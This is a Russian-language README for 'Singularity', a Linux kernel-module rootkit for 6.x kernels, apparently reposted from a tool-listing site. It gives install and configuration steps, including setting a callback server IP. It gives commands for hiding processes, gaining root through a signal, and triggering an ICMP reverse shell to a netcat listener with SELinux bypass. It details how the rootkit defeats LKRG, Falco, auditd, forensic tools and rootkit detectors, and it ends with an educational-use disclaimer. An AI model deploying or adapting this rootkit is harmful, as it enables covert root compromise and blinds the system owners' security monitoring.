
Стелс-руткит для ядра Linux, предназначенный для современных ядер (6.x)
"Не пора ли немного поработать с форензикой?"
Этот проект был вдохновлён очень важной для меня женщиной: Mocinha
Singularity — это мощный руткит на основе модуля ядра Linux (LKM), предназначенный для современных ядер 6.x. Он предоставляет комплексные возможности скрытности благодаря продвинутому перехвату системных вызовов через инфраструктуру ftrace.
Полная исследовательская статья (устаревшая версия): Singularity: A Final Boss Linux Kernel Rootkit
Пример обхода EDR: Bypassing Elastic EDR with Singularity
POC-видео: Singularity против eBPF security tools: Singularity vs eBPF security tools
Взлом eBPF-безопасности с помощью хуков Singularity: Breaking eBPF
Singularity — это сложный руткит, работающий на уровне ядра и предоставляющий:
/sys/fs/cgroup/*/cgroup.procscd /dev/shm git clone https://github.com/MatheuZSecurity/Singularity cd Singularity sudo bash setup.sh cd ..
Вот и всё. Модуль автоматически:
- Скрывает себя из lsmod, /proc/modules, /sys/module
- Очищает флаги тайтлинга ядра
- Фильтрует конфиденциальные строки из dmesg, journalctl -k, klogctl
- Начинает защищать ваши скрытые файлы и процессы
### Важные примечания
**Модуль автоматически скрывает себя после загрузки**
**Функция выгрузки отсутствует – для удаления требуется перезагрузка**
**Сначала тестируйте в ВМ – без перезагрузки удалить невозможно**
## Конфигурация
### Укажите IP-адрес и порт вашего сервера
**Отредактируйте `include/core.h`:**```c
#define YOUR_SRV_IP "192.168.1.100" // Change this to your server IP
#define YOUR_SRV_IPv6 { .s6_addr = { [15] = 1 } } // IPv6 if needed
Редактировать modules/icmp.c:```c
#define SRV_PORT "8081" // Change this to your desired port
**Редактировать `modules/bpf_hook.c`:**```c
#define HIDDEN_PORT 8081 // Must match SRV_PORT
Редактирование modules/hiding_tcp.c:```c
#define PORT 8081 // Must match SRV_PORT
**Важно**: Все определения портов должны совпадать для правильного скрытия сети и функциональности обратного ICMP-шелла.
## Использование
### Скрытие процессов```bash
# Hide current shell
kill -59 $$
# Hide specific process
kill -59 <PID>
Процесс будет невидим для ps, top, htop, /proc и всех инструментов мониторинга. Все дочерние процессы автоматически отслеживаются и скрываются.
Файлы, соответствующие настроенным шаблонам, автоматически скрываются:```bash mkdir singularity echo "secret" > singularity/data.txt
ls -la | grep singularity
cat singularity/data.txt
cd singularity
<p align="center">
<img src="https://assets.kitploit.com/production/public/readmes/10489/13713f834a730a67b38b024c092d77eb111a7d38e2fa0ac16a8f36ffd3506f90.png">
</p>
### Стать root
**Сигнальный метод:**```bash
kill -59 $$
id # uid=0(root)
Подключения на настроенном вами порту (по умолчанию: 8081) автоматически скрываются:```bash nc -lvnp 8081
ss -tulpn | grep 8081 # (no output) netstat -tulpn | grep 8081 # (no output) lsof -i :8081 # (no output) cat /proc/net/nf_conntrack | grep 8081 # (no output)
ss -tapen | grep 8081 # (no output) conntrack -L | grep 8081 # (no output)
Пакеты отбрасываются на уровне raw-сокетов (tpacket_rcv) и скрываются от:
- /proc/net/* интерфейсов (tcp, tcp6, udp, udp6)
- /proc/net/nf_conntrack
- Netlink запросов SOCK_DIAG (используются ss, lsof)
- Netlink сообщений NETFILTER/conntrack (используются утилитой conntrack)
<p align="center">
<img src="https://assets.kitploit.com/production/public/readmes/10489/a77a916efc8ee8b9091b3a0ef3acfde44eff570bc022477a3906fac1f623993f.png">
</p>
### ICMP Reverse Shell
Удаленный запуск скрытой reverse shell с автоматическим обходом SELinux:
**1. Запуск слушателя:**```bash
nc -lvnp 8081 # Use your configured port
2. Отправка ICMP-триггера:```bash sudo python3 scripts/trigger.py <target_ip>
**3. Получить root-оболочку** (автоматически скрыта со всеми дочерними процессами, режим принудительного применения SELinux обойден, если активен)
<p align="center">
<img src="https://assets.kitploit.com/production/public/readmes/10489/6d501d17287ba7f674b766dd25b281d2b26d9f420baa3bbc5a9cc9863db541fc.png">
</p>
## Механизмы защиты
### Защита управления Ftrace
Все попытки отключить ftrace молча перехватываются и блокируются:```bash
echo 0 > /proc/sys/kernel/ftrace_enabled # Appears successful but does nothing
Защищённые системные вызовы: write, writev, pwrite64, pwritev, pwritev2, sendfile, sendfile64, splice, vmsplice, tee, copy_file_range, io_uring_enter (с интеллектуальным кэшированием по PID)
Модуль bpf_hook.c реализует сложную систему антидетекта против инструментов безопасности на основе eBPF. Вместо полного блокирования системных вызовов BPF (что само по себе было бы детектируемым признаком), он выборочно фильтрует данные на уровне ядра, делая скрытые процессы и соединения невидимыми для eBPF-программ.
Стратегия: Перехватывать функции сбора данных и отчётов, используемые eBPF-программами, а не сам системный вызов BPF. Это позволяет легитимным eBPF-инструментам работать нормально, одновременно не давая им видеть скрытые ресурсы.
Защищённые ресурсы:
Точки перехвата:
Такой подход позволяет обезвредить инструменты безопасности на основе eBPF, не вызывая срабатывания сигналов тревоги, которые последовали бы при полной блокировке операций BPF.
Защита от попыток обхода io_uring в ftrace_enabled и tracing_on с интеллектуальным кэшированием (кэш 1 секунда на PID для предотвращения повторного сканирования процессов и снижения нагрузки)
Фильтрация конфиденциальных строк в реальном времени из всех интерфейсов журналов ядра:
Фильтруемые ключевые слова: taint, journal, singularity, Singularity, matheuz, zer0t, kallsyms_lookup_name, obliviate, hook, hooked_, constprop, clear_taint, ftrace_helper, fh_install, fh_remove
Примечание: Сообщения аудита для скрытых PID отбрасываются на уровне netlink с отслеживанием статистики (get_blocked_audit_count, get_total_audit_count)
Singularity перехватывает системный вызов write, чтобы обнаруживать и фильтровать вывод инструментов дискового криминалистического анализа:
Как это работает:
/dev/sda, /dev/nvme0n1 и т.д.)debugfs /dev/sda3 -R 'ls -l /home/user/singularity'
**Обнаруженные шаблоны:**
- Префикс `debugfs:`
- Списки инодов в скобках
- `Inode count:`, `Block count:`, `Filesystem volume name:`
- `Filesystem UUID:`, `e2fsck`, `Inode:`
### Реализация скрытия процессов
Полное скрытие от системных вызовов и интерфейсов ядра:
- /proc/[pid]/* (блокировка openat, readlinkat)
- getdents, getdents64 (фильтрация списка каталогов)
- stat, lstat, statx, newfstatat (скрытие метаданных)
- kill с сигналом 0 (возвращает ESRCH)
- getsid, getpgid, getpgrp (возвращает ESRCH)
- sched_getaffinity, sched_getparam, sched_getscheduler, sched_rr_get_interval (возвращает ESRCH)
- getpriority (возвращает ESRCH)
- sysinfo (корректировка количества процессов)
- pidfd_open (возвращает ESRCH)
- запросы TaskStats через netlink (возвращает ESRCH)
- PID из cgroup отфильтрованы из cgroup.procs
Дочерние процессы автоматически отслеживаются через перехватчик tracepoint sched_process_fork.
### Обход LKRG
Singularity реализует комплексное противодействие Linux Kernel Runtime Guard:
**Обойдённые проверки:**
- Проверка учётных данных процесса (p_cmp_creds)
- Целостность структуры задачи (p_cmp_tasks)
- Валидация контроля целостности потока управления (p_ed_pcfi_validate_sp, p_ed_enforce_pcfi)
- Проверки целостности ядра (p_check_integrity)
- Подсистема обнаружения эксплойтов (p_exploit_detection_init)
- Отслеживание пользовательских помощников (p_call_usermodehelper_entry, p_call_usermodehelper_exec_entry)
- Дамп и перечисление задач (p_dump_task_f, ed_task_add)
- Перехват обработчика kprobe ftrace
**Возможности:**
- Автоматическое обнаружение LKRG и установка перехватчиков
- Верификация родословной процессов (скрытие целых деревьев процессов глубиной до 64 уровней)
- Обход UMH для операций с обратной оболочкой
- Система уведомлений модуля для обнаружения загрузки LKRG
Скрытые процессы невидимы для всех механизмов проверки целостности LKRG.
### Обход Falco
Singularity реализует комплексную систему защиты от EDR, предотвращающую обнаружение скрытых процессов и сетевых соединений инструментами безопасности на основе eBPF. Защита работает путём перехвата функций ядра, используемых eBPF-программами для сбора и отчёта данных.
**Защита от:**
- Falco (мониторинг безопасности на основе событий)
- Tracee (трассировка безопасности)
- bpftool и ss с бэкендом BPF
**Многоуровневый перехват:**
1. **Фильтрация итераторов** (bpf_iter_run_prog)
- Фильтрует сокеты на скрытом порту из итераторов TCP/UDP
- Скрывает процессы и их дочерние процессы от итераторов задач
- Предотвращает обнаружение через `ss` и инструменты перечисления процессов
2. **Блокировка событий кольцевого буфера** (bpf_ringbuf_output, bpf_ringbuf_reserve, bpf_ringbuf_submit)
- Обнаруживает структуры событий Falco путём анализа формата заголовка
- Блокирует выделение, отправку и вывод событий для скрытых PID
- Предотвращает попадание событий системных вызовов в пользовательский агент Falco
3. **Манипуляция картами BPF** (bpf_map_lookup_elem, bpf_map_update_elem)
- Возвращает NULL, когда eBPF ищет скрытые PID в картах
- Молча отбрасывает вставки в карту, где ключ — скрытый PID
- Предотвращает отслеживание скрытых процессов инструментами безопасности eBPF
4. **Подавление событий perf** (perf_event_output, perf_trace_run_bpf_submit)
- Блокирует отправку событий perf от скрытых процессов
- Предотвращает получение данных трассировки устаревшими инструментами eBPF
5. **Фильтрация seq-файлов** (bpf_seq_write, bpf_seq_printf)
- Сканирует выходные данные на наличие скрытых PID перед записью
- Предотвращает утечку через интерфейсы /proc, используемые итераторами eBPF
6. **Контроль выполнения программ** (__bpf_prog_run)
- Блокирует выполнение eBPF-программ в контексте скрытого процесса
- Предотвращает любой мониторинг внутренностей скрытого процесса на основе eBPF
**Скрытие сокетов и соединений:**
- Кэширует скрытый IP-адрес для производительности
- Фильтрует сокеты на основе настроенного порта и настроенного IP
- Скрывает как IPv4-, так и IPv6-соединения
- Работает на уровне итератора (до того, как данные достигнут eBPF-программ)
**Отслеживание родословной процессов:**
- Прослеживает цепочку родительских процессов до 10 уровней глубины
- Автоматически скрывает всех потомков скрытых процессов
- Гарантирует, что дочерние процессы, порождённые после скрытия, остаются невидимыми
Скрытые процессы и соединения не генерируют событий, видимых инструментам безопасности eBPF.
## Обойдённые инструменты безопасности
**Мониторинг процессов**: ps, top, htop, atop, pidof
**Файловая система**: ls, find, locate, stat, lstat, readlink, tree
**Криминалистика дисков**: debugfs, e2fsck (вывод фильтруется через перехватчик записи)
**Криминалистика памяти**: Volatility, crash, gdb (через фильтрацию /proc/kcore)
**Сеть**: netstat, ss, lsof, tcpdump, wireshark, conntrack, nload, iftop, /proc/net/*
**Журналы и трассировки**: dmesg, journalctl, klogctl, strace, ltrace, ftrace, perf
**Детекторы руткитов**: unhide, chkrootkit, rkhunter, OSSEC
**Обнаружение модулей**: lsmod, modinfo, /sys/module, /proc/modules, kmod
**Безопасность ядра**: LKRG (Linux Kernel Runtime Guard)
**Инструменты безопасности eBPF**:
- Falco (мониторинг безопасности времени выполнения)
- Tracee (трассировка безопасности)
- bpftrace, bpftool (при использовании для мониторинга)
**EDR/мониторинг**: мониторы на основе io_uring, некоторые решения EDR для Linux, auditd
## Перехваты системных вызовов
| Системный вызов/функция | Модуль | Назначение |
|---------|--------|---------|
| getdents, getdents64 | hiding_directory.c | Фильтрация записей каталогов, скрытие PID |
| stat, lstat, newstat, newlstat, statx, newfstatat | hiding_stat.c | Скрытие метаданных файлов, корректировка nlink |
| getpriority | hiding_stat.c | Скрытие запросов приоритета для скрытых PID |
| openat | open.c | Блокировка доступа к скрытому /proc/[pid] |
| readlinkat | hiding_readlink.c | Блокировка разрешения симлинков |
| chdir | hiding_chdir.c | Предотвращение cd в скрытые каталоги |
| read, pread64, readv, preadv | clear_taint_dmesg.c | Фильтрация журналов ядра, kcore, kallsyms, PID cgroup, nf_conntrack |
| do_syslog | clear_taint_dmesg.c | Фильтрация кольцевого буфера ядра через klogctl()/syslog() |
| sched_debug_show | clear_taint_dmesg.c | Фильтрация отладочного вывода планировщика |
| write, writev, pwrite64, pwritev, pwritev2 | hooks_write.c | Блокировка управления ftrace + фильтрация криминалистики дисков + фильтрация вывода journalctl |
| sendfile, sendfile64, copy_file_range | hooks_write.c | Блокировка копирования файлов в защищённые файлы |
| splice, vmsplice, tee | hooks_write.c | Блокировка конвейерной записи в защищённые файлы |
| io_uring_enter | hooks_write.c | Блокировка обхода асинхронного ввода-вывода с кэшированием PID |
| kill | become_root.c | Триггер рута + скрытие процессов |
| getsid, getpgid, getpgrp | become_root.c | Возвращает ESRCH для скрытых PID |
| sched_getaffinity, sched_getparam, sched_getscheduler, sched_rr_get_interval | become_root.c | Возвращает ESRCH для скрытых PID |
| sysinfo | become_root.c | Корректировка количества процессов |
| pidfd_open | become_root.c | Возвращает ESRCH для скрытых PID |
| tcp4_seq_show, tcp6_seq_show | hiding_tcp.c | Скрытие TCP-соединений из /proc/net |
| udp4_seq_show, udp6_seq_show | hiding_tcp.c | Скрытие UDP-соединений из /proc/net |
| tpacket_rcv | hiding_tcp.c | Отбрасывание пакетов на уровне сырых сокетов |
| recvmsg, recvfrom | audit.c | Фильтрация сообщений netlink SOCK_DIAG и NETFILTER |
| netlink_unicast | audit.c | Отбрасывание аудитных сообщений для скрытых PID |
| audit_log_start | audit.c | Блокировка создания аудитных журналов для скрытых процессов |
| bpf | bpf_hook.c | Фильтрация операций eBPF для скрытых PID |
| bpf_iter_run_prog | bpf_hook.c | Скрытие скрытых процессов от итераторов BPF |
| bpf_seq_write, bpf_seq_printf | bpf_hook.c | Фильтрация вывода seq-файлов BPF |
| bpf_ringbuf_output, bpf_ringbuf_reserve, bpf_ringbuf_submit | bpf_hook.c | Фильтрация событий Falco через кольцевой буфер |
| bpf_map_lookup_elem, bpf_map_update_elem | bpf_hook.c | Фильтрация операций с картами BPF |
| perf_event_output, perf_trace_run_bpf_submit | bpf_hook.c | Фильтрация событий perf для скрытых процессов |
| __bpf_prog_run | bpf_hook.c | Фильтрация выполнения программ BPF |
| icmp_rcv | icmp.c | ICMP-триггерная обратная оболочка с обходом SELinux |
| taskstats_user_cmd | task.c | Блокировка запросов TaskStats для скрытых PID |
| sched_process_fork (tracepoint) | trace.c | Отслеживание дочерних процессов |
| kprobe_ftrace_handler | lkrg_bypass.c | Обход обнаружения kprobe в LKRG |
| p_cmp_creds, p_cmp_tasks | lkrg_bypass.c | Обход проверок учётных данных LKRG |
| p_ed_pcfi_validate_sp, p_ed_enforce_pcfi | lkrg_bypass.c | Обход валидации CFI в LKRG |
| p_check_integrity | lkrg_bypass.c | Обход проверок целостности LKRG |
| p_dump_task_f, ed_task_add | lkrg_bypass.c | Скрытие от перечисления задач LKRG |
| p_call_usermodehelper_entry, p_call_usermodehelper_exec_entry | lkrg_bypass.c | Обход отслеживания UMH в LKRG |
| p_exploit_detection_init | lkrg_bypass.c | Обход обнаружения эксплойтов LKRG |
| tainted_mask (kthread) | reset_tainted.c | Очистка флагов taint ядра |
| module_hide_current | hide_module.c | Удаление из списков модулей и sysfs |
**Поддержка нескольких архитектур**: x86_64 (`__x64_sys_*`) и ia32 (`__ia32_sys_*`, `__ia32_compat_sys_*`)
## Протестированные версии ядра
| Версия ядра | Дистрибутив | Статус | Примечания |
|---------------|--------------|--------|-------|
| 6.8.0-79-generic | Ubuntu 22.04 / 24.04 | Стабильно | Основная среда разработки |
| 6.12.0-174.el10.x86_64 | CentOS Stream 10 | Стабильно | Ядро на основе RHEL |
| 6.12.48+deb13-amd64 | Debian 13 (Trixie) | Стабильно | Ядро Debian |
| 6.17.8-300.fc43.x86_64 | Fedora 43 | Стабильно | Обход принудительного SELinux подтверждён |
| 6.17.0-8-generic | Ubuntu 25.10 | Стабильно | Новое типовое ядро, полная функциональность |
| 6.14.0-37-generic | Ubuntu 24.04 | Стабильно | Обход LKRG и Falco подтверждён |
| 6.12.25-amd64 | Kali Linux | Стабильно | Kali 6.12.25-1kali1 |
## Сюжет
К сожалению для некоторых...
Даже со всеми этими фильтрами, защитами и перехватами всё ещё есть способы обнаружить этот руткит.
Но если вы хороший криминалист, специалист по DFIR или исследователь вредоносного ПО, я позволю вам разобраться самостоятельно.
Я не буду это исправлять, потому что так будет гораздо ОП ;)
## Благодарности
**Singularity** создан **MatheuZSecurity** (Matheus Alves)
- LinkedIn: [mathsalves](https://www.linkedin.com/in/mathsalves/)
- Discord: `kprobe`
**Присоединяйтесь к исследователям руткитов**: Discord - [https://discord.gg/66N5ZQppU7](https://discord.gg/66N5ZQppU7)
### Ссылки на код
- [fuxSocy](https://github.com/iurjscsi1101500/fuxSocy/tree/main)
- [Adrishya](https://github.com/malefax/Adrishya/blob/main/Adrishya.c#L158)
- [MatheuZSecurity/Rootkit](https://github.com/MatheuZSecurity/Rootkit)
### Вдохновение для исследований
- [KoviD](https://github.com/carloslack/KoviD)
- [Basilisk](https://github.com/lil-skelly/basilisk)
- [GOAT Diamorphine rootkit](https://github.com/m0nad/Diamorphine)
## Участие
- Отправляйте pull request'ы для улучшений
- Сообщайте об ошибках через GitHub issues
- Предлагайте новые техники обхода
- Делитесь методами обнаружения (в исследовательских целях)
**Нашли ошибку?** Откройте issue или свяжитесь со мной в Discord: `kprobe`
**ТОЛЬКО ДЛЯ ОБРАЗОВАТЕЛЬНЫХ И ИССЛЕДОВАТЕЛЬСКИХ ЦЕЛЕЙ**
Singularity создан как исследовательский проект для изучения границ техник стелс на уровне ядра. Цель — ответить на один вопрос: **«Насколько далеко может спрятаться руткит, если ему удастся проникнуть и загрузиться в систему?»**
Этот проект существует для того, чтобы:
- Раздвинуть границы исследований в области наступательной безопасности
- Помочь защитникам понять, с чем они могут столкнуться
- Предоставить учебный ресурс по внутренностям ядра и техникам обхода
- Внести вклад в базу знаний сообщества безопасности
**Я не несу ответственности за любое неправомерное использование этого программного обеспечения.** Если вы решите использовать Singularity в злонамеренных целях, это ваша ответственность. Этот инструмент предоставляется как есть только для исследований, обучения и авторизованного тестирования безопасности.
Тестируйте только на системах, которые вам принадлежат, или на которые у вас есть явное письменное разрешение на тестирование. Несанкционированный доступ к компьютерным системам незаконен в большинстве юрисдикций.
**Будьте исследователем, а не преступником.**
| Интерфейс | Хук | Статус |
|---|
dmesg | хук чтения /proc/kmsg | Отфильтровано |
journalctl -k | хук записи (фильтрация вывода) | Отфильтровано |
klogctl() / syslog() | хук do_syslog | Отфильтровано |
/sys/kernel/debug/tracing/* | хук чтения | Отфильтровано |
/var/log/kern.log, syslog, auth.log | хук чтения | Отфильтровано |
/proc/kallsyms, /proc/kcore, /proc/vmallocinfo | хук чтения | Отфильтровано |
/proc/net/nf_conntrack | хук чтения | Отфильтровано |